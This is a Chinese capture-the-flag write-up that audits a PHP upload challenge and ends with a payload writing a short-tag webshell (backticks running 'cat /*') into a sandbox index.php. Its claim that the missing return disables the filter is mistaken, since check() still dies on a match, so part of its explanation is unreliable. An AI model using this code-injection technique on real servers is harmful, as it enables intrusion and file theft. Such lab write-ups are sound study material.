打开靶机
发现源代码已经写在页面上
代码审计
第一段,check函数
php
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
die('hacker!!!');
}else{
return $input;
}
}
功能:用正则表达式过滤输入内容,禁止包含以下字符 / 字符串(不区分大小写):
引号 '、空格 、下划线 _、php、分号 ;、波浪线 ~、异或 ^、加号 +、eval、大括号 {}。
第二段,waf函数
php
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
功能:如果输入是数组,递归处理每个元素;否则调用 check() 过滤。
致命 bug :函数没有 return 语句!这意味着经过 waf() 处理后,输入内容不会被返回,过滤完全失效。
第三段,目录创建
php
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
功能:根据访问者的 IP 地址($_SERVER['REMOTE_ADDR'])生成一个 MD5 哈希值,在 sandbox/ 目录下创建专属子目录。
第四段,核心主程序,文件上传
php
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
功能:通过 GET 参数 action 控制行为:
action=pwd:输出当前用户的专属目录路径。
action=upload:获取 GET 参数 data,调用 waf() 过滤(实际无效),然后将 data 写入目录下的 index.php。
访问当前用户专属目录路径

进行文件上传
要执行php命令就要用<?php,但php被禁用了,这里就需要使用php的短标签<? ?>,由于空格也被禁用了,我们可以用${IFS}来替代
<? echo '标准短标签'; ?>
<?= '等效于echo的短标签' ?>
<% echo 'ASP风格标签' %>
<script language="php"> echo '长格式标签' </script>
注意:<?=在PHP 5.4+中始终可用,无需开启short_open_tag选项
php
?action=upload&data=<?echo%09`cat%09/*`?>
访问文件上传的路径
